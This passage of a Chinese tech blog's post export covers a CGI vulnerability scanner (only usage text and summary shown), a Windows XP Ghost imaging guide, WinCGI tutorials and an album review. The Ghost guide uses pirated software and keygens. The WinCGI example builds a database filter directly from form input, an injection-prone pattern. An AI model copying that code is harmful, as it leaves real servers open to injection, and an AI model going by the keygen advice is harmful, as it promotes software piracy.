1-500\u0026quot;\n\u0026quot;n　CONNTIMEO ==\u0026gt;TCP connect timeout,please input between 2-6\u0026quot;\n\u0026quot;nnExample\u0026quot;\n\u0026quot;n　%s 192.168.0.0 192.168.255.255 200 2\u0026quot;,proname,proname,proname);\n}\n程序在VC++6.0上编译通过，在windows2000上运行良好：）\n","permalink":"https://hessian.cn/p/395.html","summary":"有很多网站为了安全起见，在WEB Server前面架了防火墙，或者做了TCP/IP过滤，对外只开放TCP 80 端口。从入侵者角度来看，要入侵那 么从80上跑的CGI入手是比较可行的，当然也可以用别的办法，例如旁敲侧击，呵呵。从网管角度来看，一是要保证CGI的安全性，另外网络的整体安全性也 是很重要的。针对基于80端口入侵、防范而出的CGI扫描器数不胜数，但基本上原理都一样。\nCGI扫描器原理说起来其实非常简单，可以用四句话来概括：\u0026lt;1\u0026gt;连接目标WEB SERVER；\u0026lt;2\u0026gt;发送一个特殊的请求；\u0026lt;3\u0026gt;接收目标服务器返回数据；\u0026lt;4\u0026gt;根据返回数据判断目标服务器是否有此CGI漏洞。\n当管理的服务器达到一定数量的时候，手工检测自己的服务器是否存在各种各样的CGI漏洞，那就太消耗时间和精力了，所以一个网管手上有个比较好用的 CGI漏洞扫描器还是必要的。OK！今天我们就自己来动手用C写一个简单的CGI扫描器，帮助自己在日常工作中检测服务器：））\n","title":"CGI扫描器的原理和实现过程"},{"content":"\n相 信很多朋友都有经常被朋友拉去修机器的经历，重装系统就成了噩梦，于是，万能GHOST诞生了，但是网上很多万能GHOST都没有电源管理的解决办法，也 就是说做出来的系统不能软关机。而且网络上发布的万能GHOST大多只是一个空系统罢了，装软件同样费时间啊\u0026hellip;\u0026hellip;\u0026hellip;\u0026hellip; OK！那我们就来做一个适合自己使用的超级GHOST！ 声明：全部使用D版制作 一、准备工作 1、操作系统选择：一般我们选择XP\u0026mdash;VLK版作为母版，不需要激活的，更不要破解的。当然这篇文章对2003同样适用。 2、软件准备：找齐你准备在你的超级系统里集成的所有软件（软件必须经过认真测试）、系统修补包（例如SP等）这些东西一定要测试一下。 注意：*在考虑软件的时候要想全一点，各方面要考虑到。 *软件版本必须要新的，这样可以有效延长你的超级镜象的寿命 *要记得集成一个能够有效杀毒并且能升级的杀毒软件（我集成的 是瑞星2005） *尽量选择公认的、知名的软件，同一用途的软件不要装多了。比如看 图软件选择ACDSEE6.0或者7.0就可以了。其功能已经足够了，不需要 再集成其他类似软件了。 3、制作万能GHOST的机器选择 推荐使用INTEL芯片组的机器，我个人觉得INTEL芯片组的机器做出来的最稳定，VIA的就要差一 些，机器不能太老，但也不要使用太新的。I845这样的就比较合适了。尽量使用一线大厂的主板。不要使用在机器上安装过多的其他设备，只需要基本的就可以 了。另外，内存要大点，512吧 4、OEM信息准备：编写你自己的OEMINI文件、OEM图片 5、集成常用驱动：去www.mydrivers.com收 集大部分常用设备驱动（要那种带INF文件的，分类放好，装在一个文件夹里，文件夹名可以取成\u0026ldquo;PNP_drv\u0026rdquo;这样的。） 这样做的目的是为了以后在不同的机器上装系统时在没有驱动光盘的情况下让驱动的安装更方便。当然你也可以不做这个（偶就集成了100多兆的驱动） 6、 找到关于解决系统电源管理方案的电源管理解决方案压缩包，这里偶给大家推荐一高人制作的小东西，很完美的解决了万能GHOST支持不同主板不同电源管理模 式的问题。（不过偶没有上传空间，我也不记得下载地址了，需要的朋友可在上班时间联系QQ：3191775 注明：BBS水友）偶会给你提供这一工具 二、具体实施： ~~~OK！想清楚了？GO！动手的乐趣开始鸟~~~ 1、找一块C盘足够大（根据你的具体需要，一般5G）的硬盘，然后安装XP，安装过程就不要我说了吧，注意：安装过程要仔细，力求不出一点点错，安 装完成后，尽量使用系统自带驱动，没必要非要装驱动，反正一会都要删掉所有驱动的嘛\u0026hellip;\u0026hellip;（为了让系统适合更多的人，我一般选择磁盘格式为FAT32而不是 NTFS，你可以根据需要选择） 2、安装所需要的补丁，例如SP2等等。 在安装的时候（例如OFFICE2003这样的大家伙还会问你是不是保留安装源文件，应选择否，要不你的系统会过于庞大）。 3、安装软件并将OEM信息文件拷入SYSTEM32目录中，需要注册的软件用注册机先注册，再次提醒：做的时候不要急，慢慢来，做的越仔细你的GHOST越优秀。（注意软件全部安装在C盘，表装在其他分区中哟！） 4、当以上步骤完成后，重启计算机，然后打开事件查看器，看看系统和应用程序里有没有异常的错误。并测试所有软件。 \u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- 5、设置你的系统：*关闭系统还原 *禁止页面交换文件 *禁用休眠支持 *重启动并检查这些项目设置已生效 *清空临时文件夹、缓存文夹，删掉不需要的桌布图片。 这些是为了减少无谓的磁盘空间消耗 6、在C盘建立一个名为sysprep的文件夹，注意：必须是SYSPREP 7、将XP安装光盘上SUPPORTTOOLSDEPLOY.CAB压缩包中的所有文件解压缩到你建立的SYSPREP文件夹中。 8、COPY 你收集的常用驱动程序存放文件夹到C盘根目录。 9、将电源管理解决方案压缩包解压缩到你建立的SYSPREP中。解出来应该包括一个叫ACPI的文件夹和一个ACPI.exe和一个acpi.reg，请不要更改文件夹的正确结构。 10、运行SYSPREP文件夹中从SUPPORTTOOLSDEPLOY.CAB压缩包中解压缩出来的一个名为setupmgr.exe的 程序，创建一个自动答应文件（完全自动），以自动提供系统重装时所需要的必要信息。注意：创建出来的自动答应文件名一般为：sysprep.inf 必须存放在C盘中的SYSPREP文件夹中。 10、修改计算机类型为Standard PC，修改完后系统会要求重启，一定不要重启！（必须这样做！） 11、修改IDE ATA/ATAPI控制器中第一个\u0026quot;xxx Controller\u0026quot;为\u0026quot;标准双通道控制器。修改完后系统会要求重启，一定不要重启！（必须这样做！） 12、执行从电源管理解决方案压缩包中解出的一个名为\u0026ldquo;devcon.exe\u0026rdquo;的程序（命令为devcon remove * ），以快速删除所有系统中的硬件设备驱动。 使用方法：开始\u0026#8211;运行\u0026#8211;CMD\u0026#8211;在命令行模式下运行（注意命令的路径要正确哦，） 13、运行从电源管理解决方案压缩包中解出的一个名为acpi.reg的注册表文件，将其中信息导入注册表。（目的是为了在第一次启动的时候能够运行电源管理选择程序）以解决电源管理问题。 14、等等，我点支香烟，他母亲的，我的打火机那去了！？ 15、运行SYSPREP文件夹中从SUPPORTTOOLSDEPLOY.CAB压缩包中解压缩出来的一个名为sysprep.exe的程 序，勾选NOSIDGEN、MINISETUP、已提前激三项（PNP项没必要勾选，会浪费时间的），关机一项最好选择成：SHOUTDOWN 最后，点击重新封装。这时系统将会被重新封装。完成后系统会自动关机（如果在关机一项设置的是\u0026ldquo;SHUTDOWN\u0026rdquo;的话）。 16、重新启动系统，用光盘引导系统进DOS，启动GHOST（推荐使用8.0及以上版本）。将C盘打成GHOST镜像。 说明：*由于集成了大量软件所以镜像可能会达到1.5GB左右，因此使用GHOST的时候应使用参数Z9获得最大压缩比的镜像文件。 * 如果需要刻录成光盘的话则需要使用GHOST的分卷刻隆参数，将镜像分卷文件限制为650兆。这样制作出来的镜像文件一般就会有三个。这样一般的镜像不会 超过三张盘（不推荐使用700兆的限制，因为有些光驱读起来可能有些困难）。制作光盘的时候头一张应该应该包含以下功能以方便使用：引导+ GHOST.EXE+分卷刻隆的第一部分，后两张光盘应分别刻录后两个分卷。 注意：在使用这三张光盘的时候是有顺序的哟，原因自然不需多讲了。 17、最后随便找个机器测试你的镜像。 18、大功告成！来`来~啵一个~ 19、谁能告诉偶偶的打火机在那~~~5555 \u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- 关于镜像的使用： 1、将此镜像恢复到目标计算机。 （应该注意目标计算机的配置，如果是C300A+64MB\u0026hellip;\u0026hellip;那么\u0026hellip;\u0026hellip;一般内存应该至少在128以上，256及以上是比较合适的，毕竟年代不同了嘛）。 2、恢复完镜像后重启。 3、重启后计算机会出现一个安装画面，不要急，这个过程不会有安装的时候那么长的，不过这里会出现个新DD，那就是在这个检测过程中会弹出一个窗 口，让你选择电源管理模式，嘿嘿，我们正是需要的这个！上面有很好的提示，自己看吧。提示：这个窗口中有个默认选项ACPI PC，这项适合绝大多数主板的。 注意：*一定要看清楚是支持单处理器还是多处理器的。一般的机器都是单处理器哟。 *如果你选择错误\u0026hellip;\u0026hellip;那么你的机器将不能启动，必须要重新恢复镜像并且重新选择。 *Standard PC适用于任何PC，但是非常可耻的是这种类型不能软关机 4、然后的事情就不需要你管了，自动答应文件会提供所有信息。最后系统会重启。 5、重启后你会看见你熟悉的XP，进入系统后不要操作计算机（耐心等待会），系统会开始重新安装所有的硬件驱动，原因太简单啦~因为你删了所有的硬 件驱动嘛\u0026hellip;\u0026hellip;\u0026hellip;如果此期间系统发现某个设备没有驱动（例如很新的显卡、声卡等），问你要，不要理它，按ESC跳过，让它先把它认识的先装完。 完成后系统会要求重启动。OK，批准~ 6、再次重启后，安装其他系统无法直接识别的设备驱动。再次关闭系统还原这个垃圾功能。（页面交换文件系统会自动启用，无需手动设置）。这时候一个 带有大部分常用软件的配置精良的系统就已经搞定了。目前的主流机器整个过程仅需不到30分钟。尤其适合我这样经常被拉去帮别人重装系统的人 \u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- 使用方案： 1、由于镜像文件很大，所以偶推荐使用硬盘来装，随便找个硬盘，两个分区，C区一点点大就行，格成启动到DOS的系统区，D盘装GHOST.EXE 和这个硕大无比的镜像外加一些常用的工具。这样需要恢复的时候直接将你的硬盘挂上目标计算机，用你的硬盘引导，启动GHOST，然后开GHO，然 后\u0026hellip;\u0026hellip;\u0026hellip;\u0026hellip; 大家都知道，硬盘速度自然比光盘快的多啦~~~ 2、光盘方案，没什么好多的，分卷制作镜像文件，分别刻录到三张光盘上，其中第一张要带引导，要有GHOST.EXE。优点是使用方便，不过缺点也很比较明显\u0026#8211;速度自然没有硬盘快咯。\n","permalink":"https://hessian.cn/p/550.html","summary":"\n相 信很多朋友都有经常被朋友拉去修机器的经历，重装系统就成了噩梦，于是，万能GHOST诞生了，但是网上很多万能GHOST都没有电源管理的解决办法，也 就是说做出来的系统不能软关机。而且网络上发布的万能GHOST大多只是一个空系统罢了，装软件同样费时间啊\u0026hellip;\u0026hellip;\u0026hellip;\u0026hellip; ","title":"Windows操作系统万能Ghost全攻略"},{"content":"近年来,Internet与Intranet迅猛发展,企业纷纷建立自己的Intranet,以加强企业内部的联系,促进与外部世界的沟通,增强企业的竞 争能力。通过建立自己的Internet服务器,企业能在网络上发布广告,介绍本公司的情况与产品,收集顾客意见,以及建立虚拟电子商场等。大家都知道写 一个HTML超文本文件放在World Wide Web服务器上,即可通过各种浏览器访问你的主页,但是如何使你的静态主页能响应客户的动作,并与本地的数据库联系,将数据库的相应内容传送给远端的浏览 器呢?这就需要通过CGI接口进行联系。\nCGI全名是Common Gateway Interface,它是WWW服务器调用外部程序的接口通过CGI,WW W服务器能完成一些本身所力不能及的工作。\n在不同操作系统下CGI接口也不相同,可分为Standard CGI接口、DOS CGI接口与Win CG I接口等。Standard CGI接口用于Unix系统,它是通过环境变量来实现WWW Server与CGI应用程序之间的联系。DOS CGI接口与Standard CGI接口原理类同。Win CGI接口则与前两者大不相同。由于越来越多的WWW Server采用Windows系统,而Windows系统又不能有效地传递环境变量,由Bob Denny提出了一种Windows CGI标准,并得以不断推广。\nWin CGI是通过.ini文件来进行联系的。在Windows环境下,许多应用程序都是利用.ini 文件,即profile文件来定义一些基本设定,而Win CGI程序与WWW Server之间也正是通过pro file文件来实现联系的。当WWW Client通过WWW Server触发CGI程序时,WWW Server先动态生成几个文件于临时目录下,分为.ini、.inp、.out等文件。在WWW Server生成CGI程序的进程时,通过命令行参数将.ini文件的绝对路径传给CGI进程。.ini文件中也包含了.inp、.ou t等文件路径信息。这样,CGI程序可读取.ini和.inp文件所提供的信息,了解所有来自WWW Server端和与WWW Client端的数据。然后,CGI程序可以调用外部程序,或由CGI直接执行外部程序的功能,并将要传给客户端的信息以HTML文本的形式写在.out 文件上。最后,WWW Server取.out文件的HTML文本,将信息传送给WWW Client端,并删除临时目录下的文件。那么,CGI的profile文件包含了什么数据呢?与Windows其它.ini文件一样,CGI profile 文件包含了许多session,每个session又包含一些key,以下是一个CGI profile的部份内容\n[CGI]\nRequest Method=POST //传递方式,即HTML中的Form method有GET,POST,HEAD等。\nServer Software=WebSite/1.1e\n//Server的名称与版本。\nServer Name=199.199.198.55\n//Server的IP地址。\nServer Port=80//Server的Socket Port。\nServer Admin=tomy@vico.bme.zju.edu.cn//Server管理者的E-mail地址。\nReferer=http://199.199.198.55/\n//主页的URL路径。\nRemote Address=199.199.198.89\n//Client端的IP地址。\n[System]\nOutput File=c:WebSitecgi-temp198ws.out//输出文件的路径名。\nContent File=c:WebSitecgi-temp198ws.inp//输入文件的路径名。\n[Form Literal]\ntype=B//接收到的Form data即client端动作的结果信息。 原则上可用来编写CGI程序的语言有:perl, AppleScript, Unix Shell, VB, C/C++等。但在Windows(NT、3x、95)环境下,还是必须借助成熟的Windows编程语言才能编写出精巧的Win CGI程序。C语言是一门深受广大程序员喜爱的语言,尤其是VCi++作为一门面向对象的语言,具备了Windows环境的许多基本功能,如OLE, ODBC等。通过ODBC这项功能,可以非常容易地连接FoxPro, Access, dBASE等多种数据库,而无需考虑各种数据库结构的差异。\n以下是笔者用VC++4.0编写的一个用Win CGI连接数据库的范例。使用者可在屏幕上选择,以查询ISP服务商提供的internet服务价格表。系统环境采用Windows 95,数据库采用FoxP ro2.5, WWW Server采用Website。\n1.建立数据库\n本例的CGI程序是通过ODBC连接数据库,因此数据库建完后,应用32位ODBC驱动器加以登记。\n2.编写HTML程序\n使用者可在屏幕上选择一服务类型,再按\u0026quot;提交\u0026quot;键,即可查询这一服务类型的各价格栏目。其HTML文本描述如下:\n\u0026lt;HTML\u0026gt;\n\u0026lt;HEAD\u0026gt;{TITLE\u0026gt;维科公司internet服务收费标准\u0026lt;/TITLE\u0026gt;\u0026lt;/HEAD\u0026gt;\n\u0026lt;pre\u0026gt;\u0026lt;H1\u0026gt;维科公司internet服务收费标准\u0026lt;/H1\u0026gt;\n\u0026lt;/P\u0026gt;\n\u0026lt;hr\u0026gt;\u0026lt;form method=\u0026quot;POST\u0026quot; action=\u0026quot;cgi-win/wincgi.exe\u0026quot;\u0026gt;\n您要查询的类型是:\n\u0026lt;UL\u0026gt;\u0026lt;LI\u0026gt;A类用户\u0026lt;input name=\u0026quot;usertype\u0026quot; type=radio value=\u0026quot;A\u0026quot;\u0026gt;\n\u0026lt;LI\u0026gt;B类用户\u0026lt;input name=\u0026quot;usertype\u0026quot; type=radio value=\u0026quot;B\u0026quot;\u0026gt;\n\u0026lt;LI\u0026gt;C类用户\u0026lt;input name=\u0026quot;usertype\u0026quot; type=radio value=\u0026quot;C\u0026quot;\u0026gt;\n\u0026lt;LI\u0026gt;D类用户\u0026lt;input name=\u0026quot;usertype\u0026quot; type=radio value=\u0026quot;D\u0026quot;\u0026gt; \u0026lt;/UL\u0026gt;\n\u0026lt;center\u0026gt;\n\u0026lt;input type=submit value=\u0026quot;提交\u0026quot;\u0026gt; \u0026lt;input type=reset value=\u0026quot;取消\u0026quot;\u0026gt;\u0026lt;/center\u0026gt;\n\u0026lt;/pre\u0026gt;\u0026lt;/form\u0026gt;\u0026lt;hr\u0026gt;\n\u0026lt;/HTML\u0026gt;\n3.编写VC++CGI程序\nWebsite为C++程序员提供了一个CCGI类,可在website目录下找到。该类提供了一些方便的函数,无需程序员编写一些直接与CGI界面打 交道的底层工作,充分体现面向对象语言的优势。在VC++4.0中建立一个\u0026quot;Dialog based\u0026quot;工程框架。将CCGI类引入框架,即将cgi.h,cgi .cpp加入程序。然后用VC++的ClassWizard工具创建一个与数据库相对应的CUserSet类,该类继承MFC类库中的 CRecordSet类。\n主要代码加在wincgi.cpp文件中。 //程序:wincgi.cpp\n#include \u0026quot;stdafx.h\u0026quot;\n#include \u0026quot;wincgi.h\u0026quot;\n#include \u0026quot;cgi.h\u0026quot;\n#include \u0026quot;userset.h\u0026quot;\n\u0026hellip;\u0026hellip;\nvoid ProcessCGI(CCGI *cgi);\nBOOL CBaseApp::InitInstance()\n{\nCCGI cgi(m-ipCmdLine); //实例化CCGI类,并用命令行参数初始化\nif(cgi.CalledAsCGI())\n{\ntry\n{\nProcessCGI(\u0026amp;cgi);\n//在此做所有真正的工作\n}\ncatch(CException* e)\n{\ncgi.HandleException(e);\n//异常处理\ne-\u0026gt;Delete();\n}\n}\nreturn FALSE;\n}\nvoid ProcessCGI(CCGI *cgi)\n{\nint i;\nCString strTemp, strWebmaster, strReferer;\nstrWebmaster=cgi-\u0026gt;GetCGIVar(\u0026quot;Server Admin\u0026quot;);\n//获得Server管理者的E-mail地址。\nstrReferer=cgi-\u0026gt;GetCGIVar(\u0026quot;Referer\u0026quot;); //获得主页的URL路径。\nCStringArray csaFields;\ncgi-\u0026gt;EnumFormFieldNames(csaFields);\n//取得所有变量名,放在数组中。\ncgi-\u0026gt;WriteHTMLHeader();\ncgi-\u0026gt;WriteHTMLBody(\u0026quot;\u0026lt;HEAD\u0026gt;\u0026lt;TITLE\u0026gt;VC++CGI test\u0026lt;/TITLE\u0026gt;\u0026lt;/HEAD\u0026gt;1512\u0026quot;);\ncgi-\u0026gt;WriteHTMLBody(\u0026quot;\u0026lt;BODY\u0026gt;1512\u0026quot;);\nCString csaFieldVal;\ncsaFieldVal=cgi-\u0026gt;GetFormField(csaFields[0]);\n//得到第一个变量的值,即\u0026quot;usertype\u0026quot;变量的值。\ncgi-\u0026gt;WriteHTMLBody(\u0026quot;\u0026lt;h1\u0026gt;internet服务收费标准查询结果\u0026lt;/h1\u0026gt;\u0026lt;hr\u0026gt;\u0026quot;);\nCUserSet m-user;\n//实例化CUserSet类\nchar sfilter[80];\nwsprintf(sfilter,\u0026quot;USER-TYPE=\u0026acute;%s\u0026acute;\u0026acute;\u0026acute;,csaFieldVal);\nm-user.m-strFilter=sfilter;\n//设置筛选器。\nm-user.Open();\nstrTemp=\u0026quot;\u0026lt;h2\u0026gt;\u0026quot;+m-user.m-USER-TYPE+\u0026quot;类用户\u0026quot;+\u0026quot;\u0026lt;/h2\u0026gt;1512\u0026quot;;\ncgi-\u0026gt;WriteHTMLBody(strTemp);\nstrTemp=\u0026quot;\u0026lt;P\u0026gt;入网费:\u0026quot;+m-user-FARE-INI+\u0026quot;.\u0026lt;/P\u0026gt;1512\u0026quot;;\ncgi-\u0026gt;WriteHTMLBody(strTemp);\n\u0026hellip;\u0026hellip;\nstrTemp=\u0026quot;\u0026lt;P\u0026gt;通信费:\u0026quot;+m-user.m-FARE-COM+\u0026quot;.\u0026lt;/P\u0026gt;1512\u0026quot;\n;\ncgi-\u0026gt;WriteHTMLBody(strTemp);\nm-user.Close();\nif(!strReferer.IsEmpty())\n//设置回到主页的锚点。\n{\ncgi-\u0026gt;WriteHTMLBody(\u0026quot;\u0026lt;P\u0026gt;Go\u0026lt;A HREF=\u0026quot;\u0026quot;);\ncgi-\u0026gt;WriteHTMLBody(strReferer);\ncgi-\u0026gt;WriteHTMLBody(\u0026quot;\u0026quot;\u0026gt;Back\u0026lt;/A\u0026gt;where you came from.\u0026lt;/P\u0026gt;1512\u0026quot;);\n}\nif(!strWebmaster.IsEmpty())\n//设置Server管理者的E-mail地址。\n{\ncgi-\u0026gt;WriteHTMLBody(\u0026quot;\u0026lt;P\u0026gt;Please email comments to\u0026quot;);\ncgi-\u0026gt;WriteHTMLBody(\u0026quot;\u0026lt;A HREF=\u0026quot;mailto:\u0026quot;);\ncgi-\u0026gt;WriteHTMLBody(strWebmaster);\ncgi-\u0026gt;WriteHTMLBody(\u0026quot;\u0026quot;\u0026gt;\u0026quot;);\ncgi-\u0026gt;WriteHTMLBody(strWebmaster);\ncgi-\u0026gt;WriteHTMLBody(\u0026quot;\u0026lt;/A\u0026gt;.\u0026lt;/P\u0026gt;1512\u0026quot;);\n}\ncgi-\u0026gt;WriteHTMLBody(\u0026quot;\u0026lt;/BODY\u0026gt;1512\u0026quot;);\ncgi-\u0026gt;WriteHTMLFooter();\n}\n4.结论\n将程序编译后,把wincgi.exe拷入website/cgi-win/目录下,用浏览器查询结果。至此简单地阐述了用VC++编写Win CGI程序的整个过程,C程序员也可以用自己熟悉的语言编写CGI程序了。利用VC++的强大功能,你的WWW Server将无所不能。\n","permalink":"https://hessian.cn/p/530.html","summary":"近年来,Internet与Intranet迅猛发展,企业纷纷建立自己的Intranet,以加强企业内部的联系,促进与外部世界的沟通,增强企业的竞 争能力。通过建立自己的Internet服务器,企业能在网络上发布广告,介绍本公司的情况与产品,收集顾客意见,以及建立虚拟电子商场等。大家都知道写 一个HTML超文本文件放在World Wide Web服务器上,即可通过各种浏览器访问你的主页,但是如何使你的静态主页能响应客户的动作,并与本地的数据库联系,将数据库的相应内容传送给远端的浏览 器呢?这就需要通过CGI接口进行联系。\nCGI全名是Common Gateway Interface,它是WWW服务器调用外部程序的接口通过CGI,WW W服务器能完成一些本身所力不能及的工作。\n","title":"用VC++编写CGI程序"},{"content":"\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 你或许未曾欣赏过大河之舞灿烂夺目的歌舞魅力 但你一定听过大河之舞背后那些天籁般的悠远乐音。被喻为塞尔特民谣新声天后的丽莎\u0026middot;凯莉(Lisa Kelly)，以着极为纯净雄厚嗓音实力，击败诸位实力派歌手，雀屏中选为大河之舞一线女主唱，不用怀疑，如果你聆听过她的专辑，你将明白为何声音澄澈如 水晶般的丽莎，如何以着她多层次的歌声深度诠释宽广音域，遑论是大河之舞这般情节繁复的歌舞剧献声。在这张专辑里，丽莎除了原声呈现在大河之舞里的精湛歌 艺，精选Lift the Wings与Home and the Heartland两曲，另外更节选九首不同风格的曲目，一展凯尔特民谣多面的悠然曲风。开场之曲，丽莎即以妙的歌声引领乐迷进入人气票选第一的情歌民谣 Siuil A Run之中，时而开阔时而微渺的高音转折，让聆听者更感如沐春风。而被专业乐评评为\u0026quot;a nice surprise\u0026quot;的The Soft Goodbye更是将丽莎温柔的嗓音展现其中，感受一段美好的旋律，就像是爱乐者理想中的伊甸园。除此，专辑中Dubhdarra和The Deer\u0026#8217;s Cry两曲让乐迷更能欣赏到名作曲家Shaun avey与丽莎的完美配合，转音结尾等在细节中一一流露默契，而从热门电影《魔戒》的May it Be，以及《神鬼战士》电影原声带中那首优美但也凄凉至极的Now We Are Free更是丽莎歌唱实力的最佳诠释。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 人生里，你或许已经错过许多事，也错过了大河之舞，但这次，你绝不可错过丽莎凯莉。 ","permalink":"https://hessian.cn/p/513.html","summary":"\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 你或许未曾欣赏过大河之舞灿烂夺目的歌舞魅力 但你一定听过大河之舞背后那些天籁般的悠远乐音。被喻为塞尔特民谣新声天后的丽莎\u0026middot;凯莉(Lisa Kelly)，以着极为纯净雄厚嗓音实力，击败诸位实力派歌手，雀屏中选为大河之舞一线女主唱，不用怀疑，如果你聆听过她的专辑，你将明白为何声音澄澈如 水晶般的丽莎，如何以着她多层次的歌声深度诠释宽广音域，遑论是大河之舞这般情节繁复的歌舞剧献声。在这张专辑里，丽莎除了原声呈现在大河之舞里的精湛歌 艺，精选Lift the Wings与Home and the Heartland两曲，另外更节选九首不同风格的曲目，一展凯尔特民谣多面的悠然曲风。开场之曲，丽莎即以妙的歌声引领乐迷进入人气票选第一的情歌民谣 Siuil A Run之中，时而开阔时而微渺的高音转折，让聆听者更感如沐春风。而被专业乐评评为\u0026quot;a nice surprise\u0026quot;的The Soft Goodbye更是将丽莎温柔的嗓音展现其中，感受一段美好的旋律，就像是爱乐者理想中的伊甸园。除此，专辑中Dubhdarra和The Deer\u0026#8217;s Cry两曲让乐迷更能欣赏到名作曲家Shaun avey与丽莎的完美配合，转音结尾等在细节中一一流露默契，而从热门电影《魔戒》的May it Be，以及《神鬼战士》电影原声带中那首优美但也凄凉至极的Now We Are Free更是丽莎歌唱实力的最佳诠释。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 人生里，你或许已经错过许多事，也错过了大河之舞，但这次，你绝不可错过丽莎凯莉。","title":"丽莎·凯莉 Lisa Kelly"},{"content":"华中理工大学图像识别与人工智能研究所\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 龚建勇 实现WWW服务器与客户的交互可以有多种途径,如CGI、ISAPI、JAVA、ASP等,CGI是一种大家都比较熟悉的一种实现上述功能的有效途径,本文将就如何在Windows平台下实现CGI功能作一介绍。 一、CGI概述 1.CGI概念 CGI即通用网关接口(Common Gateway Interface),它是一个WWW服务器主机对外服务的标准接口。一般来说,一个CGI接口的功能就是在超文本文件和服务器主机应用程序间传递信息。 2.CGI程序语言 事实上,任何一种程序语言,只要能在服务器主机上利用CGI接口来编写应用程序,都可以叫作CGI程序语言。目前最为流行的CGI程序语言有四种:C、Shell、Perl和Visual Basic,其它一些语言也有许多人在用,如TCL、Frotran及AppleScript等。下文我们将介绍用C语言编写CGI的方法。 3.CGI程序的执行 CGI程序一般是个可执行程序。编译好的CGI程序一般要集中放在一个目录下。具体存放的位置随操作系统的不同而不同,例如UNIX系统下是放在cgi-bin子目录下,而在Windows操作下(注意,这里不包括NT4.0)以Webstar或Website作WWW服务器,CGI程序都放在cgi-win下。C GI程序的执行一般有两种调用方式:一种是通过URL直接调用,如:\u0026quot;http://gjy.sic.o.ml.or g/cgi-win/cgi.exe\u0026quot;,在Netscape的URL栏里直接写入上述描述就可以调用该程序:另一种方式,也是主要的方式是通过交互式主页里的FORM栏调用,通常都是用户在填完一张表后按确认按钮启动CGI程序。 4.CGI工作的主要流程 CGI工作的主要流程是:1.通过HTML获取用户输入的信息;2.将用户输入的信息传给服务器主机应用程序(如数据库查询);3.将服务器处理结果通过HTML文件返回给用户。 二、Windows平台下CGI的工作原理 CGI主要的功能不外乎在服务器应用程序和客户之间传递信息。我们知道,通常CGI应用在服务器和客户端传递信息是通过输入输出流来实现的,如UNIX平台下的CGI,通过读取输入流Scanf来获取用户输入,读取输出流printf向用户输出结果。而Windows系统下CGI实现这一功能是通过文件系统来实现,即通过一个特定的输入文件来获取用户输入的信息,通过一个输出文件向用户传递结果。 这里这个输入文件是由WWW服务器生成的一个临时文件,里面包含了各种环境信息及用户输入信息,以key=value的形式给出,类似于Windows里的INI文件。下面以一个典型的该文件为例说明主要层的含义。 [CGI] Request Protocol=HTTP/1.0 Repuest Method=POST Executable Path=/cgi-win/cgitest.exe Logical Path=/CGI Physical Path=c:httpdhtdocsCGI Server Software=Website /1.1(Shareware non-commercial License)) Server Name=gjy.sic.o.ml.org Server Port=80 Server Admin=gjy@gjy.sic.o.ml.org CGI Version=CGI/1.1 WIN Remote Adress=2.02.114.2.182 [system〗 Debug Mode=No Output File=D:hs06f12d.out */*=Yes image/gif=Yes image/x-xbitmap=Yes image/jpeg=Yes [Extra Headers〗 User-Agent=Mozilla/3.0 (Windows;I;32bit) [Fotra rm Literal〗 textl=hello world radio1=2 [Form External〗 field300chars=D:hs06f12d.000 300 fieldwith l inebreaks=D:hs06f12d.001 43 [Frm Huge〗 fiel d230 K=d:s06f12d.002 276920 下面将主要各栏的意义解释如下: 1.CGI 这一栏包含大部分的CGI信息,如要求的协议Request Protocol,提取用户信息的方式Me thod,执行程序的路径Exectable,服务器软件(Server Software),服务器名(Server Name), 端口号(server Port)等。 2.Accept栏 这一栏包含客户端可以接受的文件类型。 3.System栏 这一栏包含一些Widnows CGI使用的特别项目如输出(Output File),Content File 4.Form Literal资料栏 如果用户端的要求是使用POST方式,用户输入的资料会被解码后以key=value的方式放在这一栏里,这里的key即输入栏的变量名,value是用户输入的信息。 5.Form External栏 如果解码后的字串长度超过254byte,或字串中含有控制字元,系统会把这些信息存在该栏指定的临时文件里并指出长度。 三、CGI应用的实现 1、开发平台 首先操作系统应为Windows操作系统。我们用的是Windows 95。其次需要建立WWW服务器 ,我们用的是Website1.1。安装website并设置各相应目录后,将主页放入主目录中。 2、交互主页的制作 交互主页就是用户可以在主页上输入信息,而不是单纯仅供浏览的主页。一般来说,用户输入信息的形式有填写编辑框,点选无线按钮等选择框及选择下拉菜单等。下面是一个简单的例子。 ＜HTML＞ ＜HEAD＞ ＜TITLT＞Form Sample＜/TITLE＞ ＜HEAD＞ ＜BODY＞ ＜FORM ACTION=\u0026quot;http://gjy.sic.o.ml.org/cgi/win/sample.exe\u0026quot;METHOD=POST＞ A Text Input:＜INPUT TYPE=\u0026quot;text\u0026quot;＞＜BR＞ A Radio Input: 1＜INPUT TYPE=\u0026quot;radio\u0026quot;NAME=\u0026quot;radiol\u0026quot;VALUE=1＞ 2＜input type=\u0026quot;radio\u0026quot; 